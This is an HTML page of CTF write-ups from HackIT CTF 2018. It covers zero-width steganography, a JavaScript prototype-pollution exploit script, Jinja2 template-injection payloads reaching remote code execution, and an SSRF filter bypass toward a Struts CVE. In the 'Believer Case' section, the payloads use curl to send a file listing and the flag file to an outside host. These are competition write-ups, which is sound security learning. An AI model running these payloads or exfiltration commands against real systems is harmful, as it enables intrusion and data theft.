<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>HackIT CTF 2018</title>
    <link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
    <link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
    <script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
    <script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
  </head>
  <style>
  body {
      padding-top: 56px;
  }

  .sticky-offset {
      top: 56px;
  }

  #body-row {
      margin-left:0;
      margin-right:0;
  }
  #sidebar-container {
      min-height: 100vh;   
      background-color: #333;
      padding: 0;
  }

  /* Sidebar sizes when expanded and expanded */
  .sidebar-expanded {
      width: 230px;
  }
  .sidebar-collapsed {
      width: 60px;
  }

  /* Menu item*/
  #sidebar-container .list-group a {
      height: 50px;
      color: white;
  }

  /* Submenu item*/
  #sidebar-container .list-group .sidebar-submenu a {
      height: 45px;
      padding-left: 60px;
  }
  .sidebar-submenu {
      font-size: 0.9rem;
  }

  /* Separators */
  .sidebar-separator-title {
      background-color: #333;
      height: 35px;
  }
  .sidebar-separator {
      background-color: #333;
      height: 25px;
  }
  .logo-separator {
      background-color: #333;    
      height: 60px;
  }


  /* 
   active scrollspy
  */
  .list-group-item.active {
    border-color: transparent;
    border-left: #e69138 solid 4px;
  }

  /* 
   anchor padding top
   https://stackoverflow.com/a/28824157
  */
  :target:before {
    content:"";
    display:block;
    height:56px; /* fixed header height*/
    margin:-56px 0 0; /* negative fixed header height */
  }
  </style>
  
  <script>
  // https://stackoverflow.com/a/48330533
  $(window).on('activate.bs.scrollspy', function (event) {
    let active_collapse = $($('.list-group-item.active').parents()[0]);
    $(".collapse").removeClass("show");
    active_collapse.addClass("show");

    let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
    $('a[href^="#submenu"]').css("border-left", "");
    parent_menu.css("border-left","#e69138 solid 4px");
  });

  // http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
  MathJax.Hub.Config({
    tex2jax: {
      inlineMath: [['$','$'], ['\\(','\\)']],
      processEscapes: true
    }
  });
  </script>

  <body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
    <nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
      <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
        <img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
        <span class="menu-collapsed">balsn / ctf_writeup</span>
      </a>
      <div class="collapse navbar-collapse" id="navbarNavDropdown">
        <ul class="navbar-nav my-2 my-lg-0">
            
            <li class="nav-item dropdown d-sm-block d-md-none">
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
        
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                welcome
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#get-going">get-going</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                web
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#republic-of-gayming">republic-of-gayming</a>
    
                <a class="dropdown-item" href="#believer-case">believer-case</a>
    
                <a class="dropdown-item" href="#peehpee2">peehpee2</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                reverse
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#coffee_overflow">coffee_overflow</a>
    
              </div>
            </li>
    
        </ul>
      </div>
      <div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
        <ul class="navbar-nav ml-auto">
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
        </ul>
      </div>
    </nav>
    <div class="row" id="body-row">
      <div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
        <ul class="list-group sticky-top sticky-offset">
          
          <a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">welcome</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu0" class="collapse sidebar-submenu">
            <a href="#get-going" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">get-going</span>
            </a>
    
          </div>
    
          <a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">web</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu1" class="collapse sidebar-submenu">
            <a href="#republic-of-gayming" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">republic-of-gayming</span>
            </a>
    
<a href="#believer-case" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">believer-case</span>
            </a>
    
<a href="#peehpee2" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">peehpee2</span>
            </a>
    
          </div>
    
          <a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">reverse</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu2" class="collapse sidebar-submenu">
            <a href="#coffee_overflow" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">coffee_overflow</span>
            </a>
    
          </div>
    
        </ul>
      </div>
      <div class="col-10 py-3">
        <article class="markdown-body"><h1 id="hackit-ctf-2018"><a class="header-link" href="#hackit-ctf-2018"></a>HackIT CTF 2018</h1>

<h2 id="welcome"><a class="header-link" href="#welcome"></a>Welcome</h2>
<h3 id="get-going"><a class="header-link" href="#get-going"></a>Get Going</h3>
<p>(bookgin)</p>
<p>Actually, this should be a welcome challenge, but lots of teams find it not trivial. In the end the organizer releases 2 hints abount this welcome challenges, and directly indicates this is Zero Width Concept. lol </p>
<p>The flag is encoded in Zero Width content with <a href="https://github.com/offdev/zwsp-steg-js">zwsp-steg-js</a>.</p>
<pre class="hljs"><code>Welcome to the HackIT <span class="hljs-number">2018</span> CTF, flag is somewhere <span class="hljs-keyword">here</span>. ¯<span class="hljs-literal">_</span>(ツ)<span class="hljs-literal">_</span>/¯

flag{w3_gr337_h4ck3rz_w1th_un1c0d3}</code></pre><h2 id="web"><a class="header-link" href="#web"></a>Web</h2>
<h3 id="republic-of-gayming"><a class="header-link" href="#republic-of-gayming"></a>Republic of Gayming</h3>
<p>(unsolved, written by bookgin, thanks @chmodxxx)</p>
<p>The source code:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>)
<span class="hljs-keyword">var</span> hbs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'hbs'</span>);
<span class="hljs-keyword">var</span> bodyParser = <span class="hljs-built_in">require</span>(<span class="hljs-string">'body-parser'</span>);
<span class="hljs-keyword">const</span> md5 = <span class="hljs-built_in">require</span>(<span class="hljs-string">'md5'</span>);
<span class="hljs-keyword">var</span> morganBody = <span class="hljs-built_in">require</span>(<span class="hljs-string">'morgan-body'</span>);
<span class="hljs-keyword">const</span> app = express();
<span class="hljs-keyword">var</span> user = []; <span class="hljs-comment">//empty for now</span>

<span class="hljs-keyword">var</span> matrix = [];
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">3</span>; i++){
    matrix[i] = [<span class="hljs-literal">null</span> , <span class="hljs-literal">null</span>, <span class="hljs-literal">null</span>];
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">draw</span>(<span class="hljs-params">mat</span>) </span>{
    <span class="hljs-keyword">var</span> count = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">3</span>; i++){
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> j = <span class="hljs-number">0</span>; j &lt; <span class="hljs-number">3</span>; j++){
            <span class="hljs-keyword">if</span> (matrix[i][j] !== <span class="hljs-literal">null</span>){
                count += <span class="hljs-number">1</span>;
            }
        }
    }
    <span class="hljs-keyword">return</span> count === <span class="hljs-number">9</span>;
}

app.use(<span class="hljs-string">'/static'</span>, express.static(<span class="hljs-string">'static'</span>));
app.use(bodyParser.json());
app.set(<span class="hljs-string">'view engine'</span>, <span class="hljs-string">'html'</span>);
morganBody(app);
app.engine(<span class="hljs-string">'html'</span>, <span class="hljs-built_in">require</span>(<span class="hljs-string">'hbs'</span>).__express);

app.get(<span class="hljs-string">'/'</span>, (req, res) =&gt; {

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">3</span>; i++){
        matrix[i] = [<span class="hljs-literal">null</span> , <span class="hljs-literal">null</span>, <span class="hljs-literal">null</span>];

    }
    res.render(<span class="hljs-string">'index'</span>);
})


app.get(<span class="hljs-string">'/admin'</span>, (req, res) =&gt; { 
    <span class="hljs-comment">/*this is under development I guess ??*/</span>

    <span class="hljs-keyword">if</span>(user.admintoken &amp;&amp; req.query.querytoken &amp;&amp; md5(user.admintoken) === req.query.querytoken){
        res.send(<span class="hljs-string">'Hey admin your flag is &lt;b&gt;flag{redacted}&lt;/b&gt;'</span>)
    } 
    <span class="hljs-keyword">else</span> {
        res.status(<span class="hljs-number">403</span>).send(<span class="hljs-string">'Forbidden'</span>);
    }    
}
)


app.post(<span class="hljs-string">'/api'</span>, (req, res) =&gt; {
    <span class="hljs-keyword">var</span> client = req.body;
    <span class="hljs-keyword">var</span> winner = <span class="hljs-literal">null</span>;
    matrix[client.row][client.col] = client.data;
    <span class="hljs-built_in">console</span>.log(matrix);
    <span class="hljs-keyword">for</span>(<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">3</span>; i++){
        <span class="hljs-keyword">if</span> (matrix[i][<span class="hljs-number">0</span>] === matrix[i][<span class="hljs-number">1</span>] &amp;&amp; matrix[i][<span class="hljs-number">1</span>] === matrix[i][<span class="hljs-number">2</span>] ){
            <span class="hljs-keyword">if</span> (matrix[i][<span class="hljs-number">0</span>] === <span class="hljs-string">'X'</span>) {
                winner = <span class="hljs-number">1</span>;
            }
            <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(matrix[i][<span class="hljs-number">0</span>] === <span class="hljs-string">'O'</span>) {
                winner = <span class="hljs-number">2</span>;
            }
        }
        <span class="hljs-keyword">if</span> (matrix[<span class="hljs-number">0</span>][i] === matrix[<span class="hljs-number">1</span>][i] &amp;&amp; matrix[<span class="hljs-number">1</span>][i] === matrix[<span class="hljs-number">2</span>][i]){
            <span class="hljs-keyword">if</span> (matrix[<span class="hljs-number">0</span>][i] === <span class="hljs-string">'X'</span>) {
                winner = <span class="hljs-number">1</span>;
            }
            <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(matrix[<span class="hljs-number">0</span>][i] === <span class="hljs-string">'O'</span>) {
                winner = <span class="hljs-number">2</span>;
            }
        }
    }

    <span class="hljs-keyword">if</span> (matrix[<span class="hljs-number">0</span>][<span class="hljs-number">0</span>] === matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] &amp;&amp; matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] === matrix[<span class="hljs-number">2</span>][<span class="hljs-number">2</span>] &amp;&amp; matrix[<span class="hljs-number">0</span>][<span class="hljs-number">0</span>] === <span class="hljs-string">'X'</span>){
        winner = <span class="hljs-number">1</span>;
    }
    <span class="hljs-keyword">if</span> (matrix[<span class="hljs-number">0</span>][<span class="hljs-number">0</span>] === matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] &amp;&amp; matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] === matrix[<span class="hljs-number">2</span>][<span class="hljs-number">2</span>] &amp;&amp; matrix[<span class="hljs-number">0</span>][<span class="hljs-number">0</span>] === <span class="hljs-string">'O'</span>){
        winner = <span class="hljs-number">2</span>;
    } 

    <span class="hljs-keyword">if</span> (matrix[<span class="hljs-number">0</span>][<span class="hljs-number">2</span>] === matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] &amp;&amp; matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] === matrix[<span class="hljs-number">2</span>][<span class="hljs-number">0</span>] &amp;&amp; matrix[<span class="hljs-number">2</span>][<span class="hljs-number">0</span>] === <span class="hljs-string">'X'</span>){
        winner = <span class="hljs-number">1</span>;
    }
    <span class="hljs-keyword">if</span> (matrix[<span class="hljs-number">0</span>][<span class="hljs-number">2</span>] === matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] &amp;&amp; matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] === matrix[<span class="hljs-number">2</span>][<span class="hljs-number">0</span>] &amp;&amp; matrix[<span class="hljs-number">2</span>][<span class="hljs-number">0</span>] === <span class="hljs-string">'O'</span>){
        winner = <span class="hljs-number">2</span>;
    }

    <span class="hljs-keyword">if</span> (draw(matrix) &amp;&amp; winner === <span class="hljs-literal">null</span>){
        res.send(<span class="hljs-built_in">JSON</span>.stringify({<span class="hljs-attr">winner</span>: <span class="hljs-number">0</span>}))
    }
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (winner !== <span class="hljs-literal">null</span>) {
        res.send(<span class="hljs-built_in">JSON</span>.stringify({<span class="hljs-attr">winner</span>: winner}))
    }
    <span class="hljs-keyword">else</span> {
        res.send(<span class="hljs-built_in">JSON</span>.stringify({<span class="hljs-attr">winner</span>: <span class="hljs-number">-1</span>}))
    }

})
app.listen(<span class="hljs-number">3000</span>, () =&gt; {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'app listening on port 3000!'</span>)
})</code></pre><p>The main objective is to pass the condition:
<code>if(user.admintoken &amp;&amp; req.query.querytoken &amp;&amp; md5(user.admintoken) === req.query.querytoken)</code></p>
<p>However, <code>user = []</code> and there is no other operation which will modify the list. It seems impossible to pass this condition......</p>
<p>The most suspicious assignment is the operation of matrix, and we can control row,col and data.</p>
<pre class="hljs"><code>matrix[client.row][client.col] = client.data;</code></pre><p>Ok but this is <code>matrix</code> not the <code>user</code> list. It has nothing to do with <code>user</code> list.</p>
<p>But you know, this is javascript. Everything can happen.</p>
<p>Take a look at <a href="https://github.com/HoLyVieR/prototype-pollution-nsec18/">Javascript prototype pollution</a>. The basic idea is to override/create a new attribute in the prototype. <code>matrix[&#39;__proto__&#39;]</code> is the prototype of javascript list. Leveraging this we can add the <code>admintoken</code> attribute to the list:</p>
<pre class="hljs"><code>matrix[<span class="hljs-string">'__proto__'</span>][<span class="hljs-string">'admintoken'</span>] = <span class="hljs-string">"helloworld"</span>;</code></pre><p>The payload:</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-keyword">import</span> requests
s = requests.session()
<span class="hljs-comment"># leverage  matrix[row][col] = data</span>
print(s.post(<span class="hljs-string">'http://127.0.0.1:3000/api'</span>, json={<span class="hljs-string">'row'</span>:<span class="hljs-string">'__proto__'</span>,<span class="hljs-string">'col'</span>:<span class="hljs-string">'admintoken'</span>, <span class="hljs-string">'data'</span>:<span class="hljs-string">'helloworld'</span>}).text)
<span class="hljs-comment"># md5sum of 'hellworld'                                                                                                                  </span>
print(s.get(<span class="hljs-string">'http://127.0.0.1:3000/admin'</span>, params={<span class="hljs-string">"querytoken"</span>:<span class="hljs-string">"fc5e038d38a57032085441e7fe7010b0"</span>}).text)</code></pre><p>This is a very cool challenge. Although I didn&#39;t solve it, I learn a lot :)</p>
<h3 id="believer-case"><a class="header-link" href="#believer-case"></a>Believer Case</h3>
<p> (bookgin)</p>
<p>After a few testing we can quickly identify the vulnerabilty: Server Side Template Injection. <code>http://185.168.131.123/{{3*3}}</code> = 9</p>
<p>Next is to identify the backend. The error page of <code>http://185.168.131.123/a/b/c/</code> looks like Python Flask. Does the server use jinja2 to render the template?</p>
<p>Yes, it can be confirmed by <code>{{7*&#39;7&#39;}}</code> resulting 7777777. Refer to <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20injections#jinja2">this</a>.</p>
<p>However, the server will filter some words like <code>mro</code>,<code>+</code>, <code>|</code>,<code>class</code> ...., which makes RCE  a little tricky.</p>
<p>We first try to use <code>g</code> (flask.ctx object) and <code>session</code> to result in RCE but cannot find anything useful. A quick Google we found <a href="https://ctftime.org/task/6505">this problem</a> and some solution utilizes <code>url_for</code> (jinja2 function) to RCE.</p>
<p>So let&#39;s try <code>url_for.__globals__</code>, and we can see the <code>os</code> module is in the global!</p>
<p>RCE is trivial now:</p>
<pre class="hljs"><code><span class="hljs-comment"># list files</span>
http://185.168.131.123/{{url_for.__globals__.os.system(<span class="hljs-string">"ls -all &gt; /tmp/abc"</span>)}}
http://185.168.131.123/{{url_for.__globals__.os.system(<span class="hljs-string">"curl 140.112.30.52:12345 -F data=@/tmp/abc"</span>)}}
<span class="hljs-comment"># get the flag</span>
http://185.168.131.123/{{url_for.__globals__.os.system(<span class="hljs-string">"curl 140.112.30.52:12345 -F data=@flag_secret_file_910230912900891283"</span>)}}</code></pre><p>(The reverse shell doesn&#39;t work:( so the solution is dirty. )</p>
<p>Here is the flag:</p>
<p><code>flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}</code></p>
<h3 id="peehpee2"><a class="header-link" href="#peehpee2"></a>PeeHPee2</h3>
<p>(unsolved, written by bookgin, thanks to @chmodxxx)</p>
<p>The hint incicates the server is running Apache Struts 2.3.14, and provide a interface to fetch the url page.</p>
<p>But it&#39;s not so easy to SSRF. The server side filters some words like <code>.</code>,<code>localhost</code>, <code>::</code>.</p>
<p>We can bypass the filter using decimal IP <code>http://3114828676:1234/index.html</code>.</p>
<p>and then use <a href="https://github.com/bhdresh/CVE-2018-11776">Struts 2.3.14 CVE</a> to send the payload to localhost.</p>
<p><a href="https://github.com/DefConUA/HackIT2018/tree/master/web/PeeHPee2">Offcial writeup</a></p>
<h2 id="reverse"><a class="header-link" href="#reverse"></a>Reverse</h2>
<h3 id="coffee_overflow"><a class="header-link" href="#coffee_overflow"></a>coffee_overflow</h3>
<p> (sasdf)</p>
<p><a href="https://github.com/sasdf/ctf-tasks-writeup/blob/master/writeup/2018/HackIT/coffee_overflow/README.md">A very lengthy writeup</a></p>
        </article>
      </div>
    </div>
  </body>
</html>
